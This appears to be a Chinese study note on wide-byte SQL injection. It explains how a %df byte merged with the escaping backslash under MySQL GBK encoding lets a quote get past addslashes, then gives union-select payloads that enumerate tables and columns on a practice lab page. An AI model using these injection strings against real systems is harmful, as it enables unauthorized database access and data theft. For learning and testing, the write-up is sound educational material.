0x01前言
之前学基本注入的时候,就没有考虑过单引号或双引号被转义的情况,今天就来补充一下这方面的知识。
在学习宽字节注入前,我们先了解一个函数addslashes:
string addslashes ( string $str )
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
在sql注入时,这个函数会把你输入的sql语句中的单引号(’),双引号(")等特殊字符转义掉,使之变成字符串,这个时候就需要用到宽字节注入。
0x02宽字节注入原理
宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码时,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
例:
%df%5C会被当成一个汉字,此时单引号%27就会逃过一劫。
0x03实践
实践链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
当输入id=1%27
时,根据回显内容可知,单引号(’)被转义成了\'
这时就要宽字节注入了,输入id=1%df%27
,这时sql语句为
select id,title from news where id = '1%df%5C''
MySQL使用GBK编码时,把%df%5C当成了一个汉字,因此sql语句就变成了
select id,title from news where id = '1運''
输入id=1%df%27%23
,发现页面回显正常,这时就可以正常注入了。
接下来就是正常的基本注入:
id=1%df%27 order by 2 %23
id=-1%df%27 union select 1,2 %23
id=-1%df%27 union select 1,database() %23
id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
直到爆字段名时,由于单引号(’)会被转义,所以需要把表名用16进制表示(假设这里表名为news):
一般写法:
id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=’news‘ %23
表名用16进制表示:
id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x6e657773 %23
这样就避免了引号被转义,同时还达到了我们想要的目的。
后面的操作跟基本注入一样,这里就不继续了。
0x04总结
总的来说,宽字节注入最主要的就是利用MySQL的GBK编码的特性,让反斜杠(\)和其他的一个字符组成一个汉字,从而使单引号(’),双引号(")等逃过被转义的命运。